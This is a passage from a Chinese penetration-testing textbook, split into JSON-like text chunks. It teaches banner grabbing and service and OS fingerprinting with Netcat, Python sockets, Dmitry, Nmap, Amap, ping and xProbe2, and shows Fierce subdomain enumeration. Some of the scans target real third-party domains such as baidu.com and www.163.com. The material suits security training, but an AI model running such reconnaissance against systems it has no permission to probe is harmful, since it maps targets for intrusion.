10.26.7.113 cc.baidu.com 119.75.222.178 cert.baidu.com 111.206.37.138 cf.baidu.com 220.181.57.72 cf.baidu.com ……省略部分内容 Subnets found (may want to probe here using nmap or unicornscan): #找到的子网 10.100.46.0-255 : 1 hostnames found. 10.100.84.0-255 : 1 hostnames found. 10.105.97.0-255 : 1 hostnames found. 10.11.0.0-255 : 1 hostnames found. 10.11.250.0-255 : 1 hostnames found. 10.11.252.0-255 : 1 hostnames found. 10.114.40.0-255 : 1 hostnames found. 10.126.81.0-255 : 1 hostnames found. 10.143.145.0-255 : 1 hostnames found. ……省略部分内容 220.181.38.0-255 : 1 hostnames found. 220.181.50.0-255 : 1 hostnames found. 220.181.57.0-255 : 5 hostnames found. 36.152.44.0-255 : 1 hostnames found. 61.135.163.0-255 : 1 hostnames found. 61.135.185.0-255 : 2 hostnames found. Done with Fierce scan: http://ha.ckers.org/fierce/ Found 242 entries. Have a nice day. 从输出的信息中可以看到，fierce工具依次获取了指定域的DNS服务器，检查DNS区域传送漏洞，检查是否有泛域名解析，枚举子域名及查找子网中的主机。从倒数第2行可以看到总共找到了242个条目。执行以上命令后，输出的内容较多。由于篇幅原因，部分内容使用省略号（……）替代。在以上过程中，枚举到的子域名有access.baidu.com、accounts.baidu.com、ad.baidu.com和admin.baidu.com等。此外，也可以使用-wordlist选项指定自己的字典文件来枚举子域名。执行命令如下： root@daxueba:~# fierce -dns baidu.com -wordlist hosts.txt 未知 第6章 目标识别 通过前面介绍的方法对目标主机实施扫描，即可找出活动的主机。如果确定主机是活动的，就可以对该主机进行信息识别，如确认开放的服务和操作系统类型等。本章将讲解如何对目标主机进行信息识别。"},
    {"text": "未知 6.1 标志信息 标志信息是指一些主机或服务响应的欢迎信息或版本信息。例如，登录FTP服务后，可能返回的标志信息为220（vsFTPd 3.0.3）或220 Welcome to blah FTP service.。这些信息可以帮测试人员确认服务类型。本节将介绍获取标志信息的方法。 未知 6.1.1 Netcat标志信息 Netcat是一个多功能网络化工具，使用该工具可以实现各种信息收集和扫描。下面将介绍使用Netcat工具获取标志信息的方法。使用Netcat工具获取标志信息的语法格式如下： nc -v [hostname] [port] 其中，-v表示显示详细信息。 【实例6-1】使用Netcat工具获取目标主机192.168.33.152上的21号端口标志信息。执行命令如下： root@daxueba:~# nc -v 192.168.33.152 21 192.168.33.152 [192.168.33.152] 21 (ftp) open 220 Welcome to blah FTP service. 从输出的信息中可以看到，通过Netcat工具识别出了主机192.168.33.152上的FTP服务，其标志信息为Welcome to blah FTP service.。由于Netcat工具维持一个开放的连接，因而运行nc命令后不会自动停止，需要使用Ctrl+C快捷键强制停止运行。 未知 6.1.2 Python标志信息 在使用Python解释器交互时，可以直接调用Python模块，也可以导入任何希望使用的特定模块。下面介绍通过导入套接字模块，来获取标志信息的方法。 【实例6-2】使用Python套接字获取主机192.168.33.152上21端口的标志信息，具体实现方法如下： （1）启动Python解释器，执行命令如下： Python 2.7.15+ (default, Aug 31 2018, 11:56:52) [GCC 8.2.0] on linux2 Type \"help\", \"copyright\", \"credits\" or \"license\" for more information. >>> 如果看到“>>>”提示符，则表示成功进入了Python解释器的交互模式。 （2）导入套接字，执行命令如下： >>> import socket 执行以上命令后，将不会输出任何信息。 （3）配置新建的套接字，执行命令如下： >>> bangrab = socket.socket(socket.AF_INET,socket.SOCK_STREAM) 执行以上命令后，将不会输出任何信息。 （4）初始化连接，执行命令如下： >>> bangrab.connect((\"192.168.33.152\",21)) 执行以上命令后，将不会输出任何信息。如果尝试连接一个没有开放端口的连接时，Python解释器将返回一个错误信息： Traceback (most recent call last): File \"<stdin>\", line 1, in <module> File \"/usr/lib/python2.7/socket.py\", line 224, in meth return getattr(self._sock,name)(*args) socket.error: [Errno 111] Connection refused 从输出的错误信息中可以看到，目标端口拒绝了该连接。由此可以说明目标端口没有运行，也就意味着将无法获取对应的标志信息。 （5）获取标志信息。执行命令如下： >>> bangrab.recv(4096) '220 Welcome to blah FTP service.\\r\\n' 从输出的信息中可以看到，已经成功获取到了目标主机上21端口号的标志信息。而获取到的标志信息为220 Welcome to blah FTP service.。 （6）关闭与远程服务的连接，并退出Python程序。执行命令如下： >>> bangrab.close() #关闭与远程服务的连接 >>> exit() #退出Python程序 执行以上命令后，则成功退出了Python程序。 未知 6.1.3 Dmitry标志信息 Dmitry是一个一体化的信息收集工具，使用该工具对目标主机实施扫描，也可以获取到一些标志信息。下面将介绍使用Dmitry工具获取标志信息的方法。 使用Dmitry工具获取标志信息的语法格式如下： dmitry -pb [host] 以上语法中的选项及含义如下。 ·-p：实施一个TCP端口扫描。 ·-b：获取扫描端口返回的标志信息。 【实例6-3】使用Dmitry工具获取目标主机192.168.33.152上运行服务的标志信息。执行命令如下： root@daxueba:~# dmitry -pb 192.168.33.152 Deepmagic Information Gathering Tool \"There be some deep magic going on\" HostIP:192.168.33.152 #主机IP地址 HostName:192.168.33.152 #主机名 Gathered TCP Port information for 192.168.33.152 #收集的TCP端口信息 --------------------------------- Port State #端口及状态 21/tcp open >> 220 Welcome to blah FTP service. #标志信息 22/tcp open >> SSH-2.0-OpenSSH_7.8p1 Debian-1 #标志信息 80/tcp open Portscan Finished: Scanned 150 ports, 146 ports were in state closed All scans completed, exiting 从以上输出信息中可以看到，目标主机上开放的端口有3个，分别是21、22和80。其中，获取到了TCP的21和22号端口对应的标志信息。"},
    {"text": "未知 6.1.4 Nmap NSE标志信息 在Nmap工具中有一个集成的Nmap Scripting Engine（NSE）脚本，该脚本可以通过远程端口来读取正在运行的网络服务标志信息。Nmap NSE脚本可以使用Nmap中的--script选项调用，并且使用-sT选项指定的TCP全连接。当TCP全连接建立时，即可收集到服务的标志信息。下面介绍使用Nmap NSE获取标志信息的方法。 使用Nmap NSE获取标志信息的语法格式如下： nmap -sT [host] -p [port] --script=banner 以上语法中的选项及含义如下。 ·-sT：实施TCP全连接扫描。 ·-p：指定扫描的端口号，这里可以指定单个端口、多个端口或端口范围。如果指定多个不连续端口时，则之间使用逗号（,）分隔；如果指定端口范围时，则之间使用连接符进行连接；如果指定扫描所有端口的话，则使用-p-。 ·--script=banner：使用banner脚本实施扫描。 【实例6-4】扫描目标主机上所有端口的标志信息。执行命令如下： root@daxueba:~# nmap -sT 192.168.33.152 -p- --script=banner Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-05 16:54 CST Nmap scan report for 192.168.33.152 (192.168.33.152) Host is up (0.00022s latency). Not shown: 65532 closed ports PORT STATE SERVICE #端口信息 21/tcp open ftp |_banner: 220 Welcome to blah FTP service. #标志信息 22/tcp open ssh |_banner: SSH-2.0-OpenSSH_7.8p1 Debian-1 #标志信息 80/tcp open http MAC Address: 00:0C:29:FD:58:4B (VMware) Nmap done: 1 IP address (1 host up) scanned in 17.72 seconds 从以上输出信息中可以看到获取到的标志信息。 未知 6.1.5 Amap标志信息 Amap是一个应用程序映射工具，可以用来通过远程端口来读取正在运行的网络服务标志。下面将介绍使用Amap工具以获取标志信息的方法。 使用Amap获取标志信息的语法格式如下： amap -B [host] [port] 其中，-B表示获取标志信息。 【实例6-5】使用Amap工具获取目标主机192.168.33.152上22号端口的标志信息。执行命令如下： root@daxueba:~# amap -B 192.168.33.152 22 amap v5.4 (www.thc.org/thc-amap) started at 2019-01-05 17:00:44 - BANNER mode Banner on 192.168.33.152:22/tcp : SSH-2.0-OpenSSH_7.8p1 Debian-1\\r\\n amap v5.4 finished at 2019-01-05 17:00:44 从以上输出信息中可以看到，通过Amap工具成功获取到了目标主机上22号端口对应的标志信息。其中，该标志信息为“SSH-2.0-OpenSSH_7.8p1 Debian-1”。 未知 6.2 服务识别 这里的服务是指系统中用来提供服务的一些程序，如文件传输服务（FTP）、远程登录服务（SSH）等，在这些服务中包括一些指纹信息，如端口、服务名、提供商及版本等。本节将介绍对服务信息进行识别的方法。"},
    {"text": "执行命令如下： root@daxueba:~# nmap -sV 192.168.33.152 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-05 15:11 CST Nmap scan report for 192.168.33.152 (192.168.33.152) Host is up (0.00016s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.8p1 Debian 1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.34 ((Debian)) MAC Address: 00:0C:29:FD:58:4B (VMware) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.68 seconds 从以上输出信息中可以看到识别出的服务相关信息。"},
    {"text": "2．扫描所有端口 在Nmap中提供了一个选项，可以用来扫描所有端口。 用于扫描所有端口的语法格式如下： nmap --allports [host] 其中，--allports表示扫描所有端口。"},
    {"text": "执行命令如下： root@daxueba:~# nmap --allports 192.168.33.147 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-05 17:23 CST Nmap scan report for 192.168.33.147 (192.168.33.147) Host is up (0.0024s latency). Not shown: 977 closed ports #关闭端口 PORT STATE SERVICE #开放端口信息 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 53/tcp open domain 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 1099/tcp open rmiregistry 1524/tcp open ingreslock 2049/tcp open nfs 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp open ajp13 8180/tcp open unknown MAC Address: 00:0C:29:3E:84:91 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.29 seconds 从以上输出信息中可以看到目标主机上开放的所有端口，而且还可以看到共有977个端口是关闭的。"},
    {"text": "执行命令如下： root@daxueba:~# nmap --version-intensity 9 192.168.33.152 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-05 15:14 CST Nmap scan report for 192.168.33.152 (192.168.33.152) Host is up (0.000096s latency). Not shown: 997 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:FD:58:4B (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds 从输出信息中可以看到，识别出的目标主机上运行的服务，分别有FTP、SSH和HTTP。"},
    {"text": "执行命令如下： root@daxueba:~# nmap --version-light 192.168.33.152 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-05 15:19 CST Nmap scan report for 192.168.33.152 (192.168.33.152) Host is up (0.000085s latency). Not shown: 997 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:FD:58:4B (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds 5．探测所有端口 使用--version-all选项可以对每个端口尝试发送探测报文。 其中，使用该选项探测所有端口的语法格式如下： nmap --version-all [host] 其中，--version-all选项表示保证对每个端口尝试发送探测报文，该选项相当于--version-intensity 9的别名。"},
    {"text": "6．跟踪版本扫描 在Nmap工具中提供了一个--version-trace选项，可以用来跟踪版本扫描，以获取更详细的信息。 用于跟踪版本扫描的语法格式如下： nmap --version-trace [host] 其中，--version-trace选项表示实施跟踪版本扫描。"},
    {"text": "执行命令如下： root@daxueba:~# nmap --version-trace 192.168.33.152 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-05 18:03 CST PORTS: Using top 1000 ports found open (TCP:1000, UDP:0, SCTP:0) --------------- Timing report --------------- #时间报告 hostgroups: min 1, max 100000 rtt-timeouts: init 1000, min 100, max 10000 max-scan-delay: TCP 1000, UDP 1000, SCTP 1000 parallelism: min 0, max 0 max-retries: 10, host-timeout: 0 min-rate: 0, max-rate: 0 --------------------------------------------- Packet capture filter (device eth0): arp and arp[18:4] = 0x000C2917 and arp[22:2] = 0x5F2B Overall sending rates: 30.57 packets / s, 1283.89 bytes / s. mass_rdns: Using DNS server 192.168.33.2 #DNS服务器 mass_rdns: 0.00s 0/1 [#: 1, OK: 0, NX: 0, DR: 0, SF: 0, TR: 1] DNS resolution of 1 IPs took 0.00s. Mode: Async [#: 1, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0] Packet capture filter (device eth0): dst host 192.168.33.154 and (icmp or icmp6 or ((tcp or udp or sctp) and (src host 192.168.33.152))) #包捕获过滤器 Overall sending rates: 12429.46 packets / s, 546896.36 bytes / s. #综合发送速率 Nmap scan report for 192.168.33.152 (192.168.33.152) #Nmap扫描报告 Host is up (0.000088s latency). Scanned at 2019-01-05 18:03:28 CST for 0s Not shown: 997 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:FD:58:4B (VMware) Final times for host: srtt: 88 rttvar: 11 to: 100000 Read from /usr/bin/../share/nmap: nmap-mac-prefixes nmap-payloads nmap- services. Nmap done: 1 IP address (1 host up) scanned in 0.22 seconds 从以上输出信息中可以看到获取到的详细信息。"},
    {"text": "执行命令如下： root@daxueba:~# nmap -sR 192.168.33.152 WARNING: -sR is now an alias for -sV and activates version detection as well as RPC scan. Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-05 15:20 CST Nmap scan report for 192.168.33.152 (192.168.33.152) Host is up (0.000094s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.8p1 Debian 1 (protocol 2.0) 80/tcp open http Apache httpd 2.4.34 ((Debian)) MAC Address: 00:0C:29:FD:58:4B (VMware) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.69 seconds 从以上输出信息中可以看到目标主机上开放的服务指纹信息。"},
    {"text": "未知 6.2.2 Amap服务识别 Amap工具被设计的目的就是用来识别网络服务的。用于识别服务的语法格式如下： amap [host] [port] 【实例6-12】使用Amap工具对目标主机192.168.33.152上的22号端口服务实施扫描。执行命令如下： root@daxueba:~# amap 192.168.33.152 22 amap v5.4 (www.thc.org/thc-amap) started at 2019-01-05 18:14:06 - APPLICATION MAPPING mode Protocol on 192.168.33.152:22/tcp matches ssh Protocol on 192.168.33.152:22/tcp matches ssh-openssh Unidentified ports: none. amap v5.4 finished at 2019-01-05 18:14:12 从输出的信息中可以看到，22号端口匹配的服务为SSH。 未知 6.3 系统识别 我们不仅可以通过相应工具识别目标主机上的服务指纹信息，还可以进行系统指纹信息识别。常见的系统指纹信息有操作系统类型、系统版本和内核版本等。本节将介绍系统识别的方法。"},
    {"text": "1．识别操作系统 在Nmap工具中提供了一个-O选项，可以用来识别操作系统。 用于识别操作系统的语法格式如下： nmap -O [host] 其中，-O选项用于识别操作系统类型。"},
    {"text": "执行命令如下： root@daxueba:~# nmap -O 192.168.33.152 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-05 15:22 CST Nmap scan report for 192.168.33.152 (192.168.33.152) Host is up (0.00036s latency). Not shown: 997 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:FD:58:4B (VMware) #MAC地址 Device type: general purpose #设备类型 Running: Linux 3.X|4.X #运行的系统 OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 #操作系统中央处理单元 OS details: Linux 3.2 - 4.9 #操作系统详细信息 Network Distance: 1 hop #网络距离，即从源到目标经过的网络节点 OS detection performed. Please report any incorrect results at https://nmap. org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 1.86 seconds 从以上输出信息中可以看到，目标主机的操作系统类型为Linux，内核版本为3.2。"},
    {"text": "执行命令如下： root@daxueba:~# nmap -O 10.10.1.11 Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-06 15:29 CST …… No exact OS matches for host (If you know what OS is running on it, see http://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=5.00%D=12/16%OT=3001%CT=1%CU=32781%PV=Y%DS=1%G=Y%M=00204A%TM=4B29 OS:4048%P=i686-pc-windows-windows)SEQ(CI=I%II=I%TS=U)OPS(O1=M400%O2=%O3=%O4 OS:=%O5=%O6=)OPS(O1=M400%O2=M400%O3=%O4=%O5=%O6=)OPS(O1=%O2=M400%O3=M400%O4 OS:=%O5=%O6=)OPS(O1=%O2=%O3=M400%O4=%O5=%O6=)OPS(O1=M400%O2=%O3=M400%O4=%O5 OS:=%O6=)WIN(W1=7FF%W2=0%W3=0%W4=0%W5=0%W6=0)WIN(W1=7FF%W2=7FF%W3=0%W4=0%W5 OS:=0%W6=0)WIN(W1=0%W2=7FF%W3=7FF%W4=0%W5=0%W6=0)WIN(W1=0%W2=0%W3=7FF%W4=0% OS:W5=0%W6=0)WIN(W1=7FF%W2=0%W3=7FF%W4=0%W5=0%W6=0)ECN(R=Y%DF=Y%T=40%W=0%O= OS:%CC=N%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T1(R=Y%DF=Y%T=40%S=O%A=O OS:%F=AS%RD=0%Q=)T1(R=Y%DF=Y%T=40%S=Z%A=S+%F=AR%RD=0%Q=)T2(R=Y%DF=Y%T=40%W= OS:0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q= OS:)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A= OS:S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF OS:=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=Y%T=40%IPL=38%UN=0%RIPL=G OS:%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=S%T=40%CD=S) 以上输出信息就是Nmap向数据库提交的指纹信息，这些指纹信息是自动生成的，并且标识了目标系统的操作系统。"},
    {"text": "指定识别主机的操作系统类型语法格式如下： nmap -O --osscan-limit [host] 其中，--osscan-limit选项表示针对指定的目标进行操作系统检测。"},
    {"text": "执行命令如下： root@daxueba:~# nmap -P0 192.168.1.0/24 -O --osscan-limit Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-06 16:02 CST Nmap scan report for 192.168.1.1 (192.168.1.1) Host is up (0.00073s latency). Not shown: 994 closed ports PORT STATE SERVICE 21/tcp open ftp 80/tcp open http 445/tcp open microsoft-ds 5678/tcp open rrac 8080/tcp open http-proxy 52869/tcp open unknown MAC Address: 70:85:40:53:E0:35 (Unknown) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 #操作系统详细信息 Network Distance: 1 hop Nmap scan report for kdkdahjd61y369j (192.168.1.3) Host is up (0.000085s latency). All 1000 scanned ports on kdkdahjd61y369j (192.168.1.3) are filtered MAC Address: 1C:6F:65:C8:4C:89 (Giga-byte Technology) Nmap scan report for test-pc (192.168.1.5) Host is up (0.00047s latency). Not shown: 982 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 443/tcp open https 445/tcp open microsoft-ds 902/tcp open iss-realsecure 912/tcp open apex-mesh 1433/tcp open ms-sql-s 2383/tcp open ms-olap4 5357/tcp open wsdapi 49152/tcp open unknown 49153/tcp open unknown 49154/tcp open unknown 49155/tcp open unknown 49157/tcp open unknown 49158/tcp open unknown MAC Address: 00:0C:29:21:8C:96 (VMware) Device type: general purpose Running: Microsoft Windows 7|2008|8.1 OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_server_ 2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1 OS details: Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1 #操作系统详细信息 Network Distance: 1 hop Nmap scan report for 192.168.1.6 (192.168.1.6) Host is up (0.00057s latency). Not shown: 977 closed ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 23/tcp open telnet 25/tcp open smtp 53/tcp open domain 80/tcp open http 111/tcp open rpcbind 139/tcp open netbios-ssn 445/tcp open microsoft-ds 512/tcp open exec 513/tcp open login 514/tcp open shell 1099/tcp open rmiregistry 1524/tcp open ingreslock 2049/tcp open nfs 2121/tcp open ccproxy-ftp 3306/tcp open mysql 5432/tcp open postgresql 5900/tcp open vnc 6000/tcp open X11 6667/tcp open irc 8009/tcp open ajp13 8180/tcp open unknown MAC Address: 00:0C:29:3E:84:91 (VMware) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.33 #操作系统详细信息 Network Distance: 1 hop Nmap scan report for kali (192.168.1.9) Host is up (0.00093s latency). All 1000 scanned ports on kali (192.168.1.9) are closed MAC Address: 00:0C:29:6C:C4:92 (VMware) Nmap scan report for daxueba (192.168.1.4) Host is up (0.000010s latency). All 1000 scanned ports on daxueba (192.168.1.4) are closed OS detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 256 IP addresses (6 hosts up) scanned in 7.64 seconds 从以上输出信息可以看到，如果探测到目标主机上存在开放的端口，则推测出了其操作系统类型；"},
    {"text": "语法格式如下： nmap -O --osscan-guess;--fuzzy [host] 其中，--osscan-guess;--fuzzy选项用于推测操作系统检测结果，将以百分比的方式给出对操作系统信息的猜测。"},
    {"text": "执行命令如下： root@daxueba:~# nmap -O --osscan-guess www.163.com Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-06 16:08 CST Nmap scan report for www.163.com (124.163.204.105) Host is up (0.015s latency). Other addresses for www.163.com (not scanned): 2408:8726:5100::4f rDNS record for 124.163.204.105: 105.204.163.124.in-addr.arpa Not shown: 955 closed ports PORT STATE SERVICE 80/tcp open http 81/tcp open hosts2-ns 82/tcp open xfer 84/tcp open ctf 88/tcp open kerberos-sec 135/tcp filtered msrpc 139/tcp filtered netbios-ssn 443/tcp open https 445/tcp filtered microsoft-ds ……省略部分内容 Device type: general purpose|firewall|media device|phone|broadband router| security-misc Running (JUST GUESSING): Linux 3.X|2.6.X|4.X (92%), IPCop 2.X (91%), Tiandy embedded (91%), Google Android 5.X (90%), D-Link embedded (90%), Draytek embedded (89%) OS CPE: cpe:/o:linux:linux_kernel:3.2 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:ipcop:ipcop:2.0 cpe:/o:linux:linux_kernel:4.9 cpe:/o:google: android:5.0.1 cpe:/h:dlink:dsl-2890al cpe:/o:linux:linux_kernel:2.6.25.20 cpe:/h:draytek:vigor_2960 Aggressive OS guesses: Linux 3.2 (92%), IPCop 2.0 (Linux 2.6.32) (91%), Linux 2.6.32 (91%), Linux 4.9 (91%), Tiandy NVR (91%), Android 5.0.1 (90%), Linux 3.18 (90%), D-Link DSL-2890AL ADSL router (90%), OpenWrt Kamikaze 8.09 (Linux 2.6.25.20) (90%), Linux 2.6.18 - 2.6.22 (89%) No exact OS matches for host (test conditions non-ideal). Network Distance: 9 hops OS detection performed. Please report any incorrect results at https://nmap. org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 5.65 seconds 以上输出信息显示了目标主机可能使用的操作系统列表。"},
    {"text": "未知 6.3.2 Ping系统识别 Ping是Windows、UNIX和Linux系统下的一个命令，使用该命令可以检查网络是否连通。如果目标主机正确响应的话，在响应包中将包括有对应的TTL值。TTL是Time To Live（生成时间）的缩写，该字段指定IP包被路由器丢弃之前允许通过的最大网段数量。其中，不同操作系统类型响应的TTL值不同。所以我们可以使用Ping命令进行系统识别。下面介绍使用Ping命令实施系统识别的方法。 为了能够快速地确定一个目标系统的类型，下面给出了一个操作系统初始TTL值列表，如表6.1所示。 表6.1 各个操作系统的初始TTL值 【实例6-16】使用Ping测试目标主机（192.168.33.152）的操作系统类型（该目标主机的操作系统类型为Linux）。执行命令如下： root@daxueba:~# ping 192.168.33.152 PING 192.168.33.152 (192.168.33.152) 56(84) bytes of data. 64 bytes from 192.168.33.152: icmp_seq=1 ttl=64 time=0.242 ms 64 bytes from 192.168.33.152: icmp_seq=2 ttl=64 time=0.431 ms 64 bytes from 192.168.33.152: icmp_seq=3 ttl=64 time=0.431 ms 64 bytes from 192.168.33.152: icmp_seq=4 ttl=64 time=0.440 ms 从输出的信息可以看到，响应包中的TTL值为64。根据前面列出的表格6.1，可以看到这是Linux操作系统。 【实例6-17】使用Ping测试目标主机（192.168.33.229）的操作系统类型（该目标主机的操作系统类型为Windows 7）。执行命令如下： root@daxueba:~# ping 192.168.33.229 PING 192.168.33.229 (192.168.33.229) 56(84) bytes of data. 64 bytes from 192.168.33.229: icmp_seq=1 ttl=128 time=1.57 ms 64 bytes from 192.168.33.229: icmp_seq=2 ttl=128 time=1.01 ms 64 bytes from 192.168.33.229: icmp_seq=3 ttl=128 time=0.276 ms 64 bytes from 192.168.33.229: icmp_seq=4 ttl=128 time=1.52 ms 从输出的信息可以看到，该响应包中的TTL值为128。由此可以说明，这是一个Windows操作系统。"},
    {"text": "未知 6.3.3 xProbe2系统识别 xProbe2是一款远程主机操作系统探查工具，该工具通过ICMP协议来获得指纹。 xProbe2通过模糊矩阵统计分析主动探测数据报文对应的ICMP数据报特征，进而探测得到远端操作系统的类型。 下面介绍使用xProbe2工具实施操作系统指纹识别的方法。 使用xProbe2工具实施系统识别的语法格式如下： xProbe2 [host] 【实例6-18】使用xProbe2工具对目标主机 www.163.com 实施系统识别。"},
    {"text": "执行命令如下： root@Kali:~# xprobe2 www.163.com Xprobe2 v.0.3 Copyright (c) 2002-2005 fyodor@o0o.nu, ofir@sys-security.com, meder@o0o.nu [+] Target is www.163.com #目标地址 [+] Loading modules. #正在加载模块 [+] Following modules are loaded: #被加载的模块 [x] [1] ping:icmp_ping - ICMP echo discovery module [x] [2] ping:tcp_ping - TCP-based ping discovery module [x] [3] ping:udp_ping - UDP-based ping discovery module [x] [4] infogather:ttl_calc - TCP and UDP based TTL distance calculation [x] [5] infogather:portscan - TCP and UDP PortScanner [x] [6] fingerprint:icmp_echo - ICMP Echo request fingerprinting module [x] [7] fingerprint:icmp_tstamp - ICMP Timestamp request fingerprinting module [x] [8] fingerprint:icmp_amask - ICMP Address mask request fingerprinting module [x] [9] fingerprint:icmp_port_unreach - ICMP port unreachable fingerprinting module [x] [10] fingerprint:tcp_hshake - TCP Handshake fingerprinting module [x] [11] fingerprint:tcp_rst - TCP RST fingerprinting module [x] [12] fingerprint:smb - SMB fingerprinting module [x] [13] fingerprint:snmp - SNMPv2c fingerprinting module [+] 13 modules registered [+] Initializing scan engine #初始化扫描引擎 [+] Running scan engine #正在实施扫描 [-] ping:tcp_ping module: no closed/open TCP ports known on 124.163.204.105. Module test failed [-] ping:udp_ping module: no closed/open UDP ports known on 124.163.204.105. Module test failed [-] No distance calculation. 124.163.204.105 appears to be dead or no ports known [+] Host: 124.163.204.105 is up (Guess probability: 50%)#主机是活动的 [+] Target: 124.163.204.105 is alive. Round-Trip Time: 0.01503 sec [+] Selected safe Round-Trip Time value is: 0.03007 sec [-] fingerprint:tcp_hshake Module execution aborted (no open TCP ports known) [-] fingerprint:smb need either TCP port 139 or 445 to run [-] fingerprint:snmp: need UDP port 161 open [+] Primary guess: #主要猜测 [+] Host 124.163.204.105 Running OS: \"Linux Kernel 2.4.19\" (Guess probability: 100%) [+] Other guesses: #其他猜测 [+] Host 124.163.204.105 Running OS: \"Linux Kernel 2.4.20\" (Guess probability: 100%) [+] Host 124.163.204.105 Running OS: \"Linux Kernel 2.4.21\" (Guess probability: 100%) [+] Host 124.163.204.105 Running OS: \"Linux Kernel 2.4.22\" (Guess probability: 100%) [+] Host 124.163.204.105 Running OS: \"Linux Kernel 2.4.23\" (Guess probability: 100%) [+] Host 124.163.204.105 Running OS: \"Linux Kernel 2.4.24\" (Guess probability: 100%) [+] Host 124.163.204.105 Running OS: \"Linux Kernel 2.4.25\" (Guess probability: 100%) [+] Host 124.163.204.105 Running OS: \"Linux Kernel 2.4.26\" (Guess probability: 100%) [+] Host 124.163.204.105 Running OS: \"Linux Kernel 2.4.27\" (Guess probability: 100%) [+] Host 124.163.204.105 Running OS: \"Linux Kernel 2.4.28\" (Guess probability: 100%) [+] Cleaning up scan engine [+] Modules deinitialized [+] Execution completed. 从输出的信息中可以看到，通过xProbe2工具成功解析出了目标主机的IP地址，并且识别出了其操作系统类型。"},
    {"text": "xProbe2工具在NAT模式下存在Bug，扫描后会出现HP的位置或者直接报错，具体如下： root@Kali:~# xprobe2 www.163.com Xprobe2 v.0.3 Copyright (c) 2002-2005 fyodor@o0o.nu, ofir@sys-security.com, meder@o0o.nu [+] Target is www.163.com [+] Loading modules. [+] Following modules are loaded: [x] [1] ping:icmp_ping - ICMP echo discovery module [x] [2] ping:tcp_ping - TCP-based ping discovery module [x] [3] ping:udp_ping - UDP-based ping discovery module [x] [4] infogather:ttl_calc - TCP and UDP based TTL distance calculation [x] [5] infogather:portscan - TCP and UDP PortScanner [x] [6] fingerprint:icmp_echo - ICMP Echo request fingerprinting module [x] [7] fingerprint:icmp_tstamp - ICMP Timestamp request fingerprinting module [x] [8] fingerprint:icmp_amask - ICMP Address mask request fingerprinting module [x] [9] fingerprint:icmp_port_unreach - ICMP port unreachable fingerprinting module [x] [10] fingerprint:tcp_hshake - TCP Handshake fingerprinting module [x] [11] fingerprint:tcp_rst - TCP RST fingerprinting module [x] [12] fingerprint:smb - SMB fingerprinting module [x] 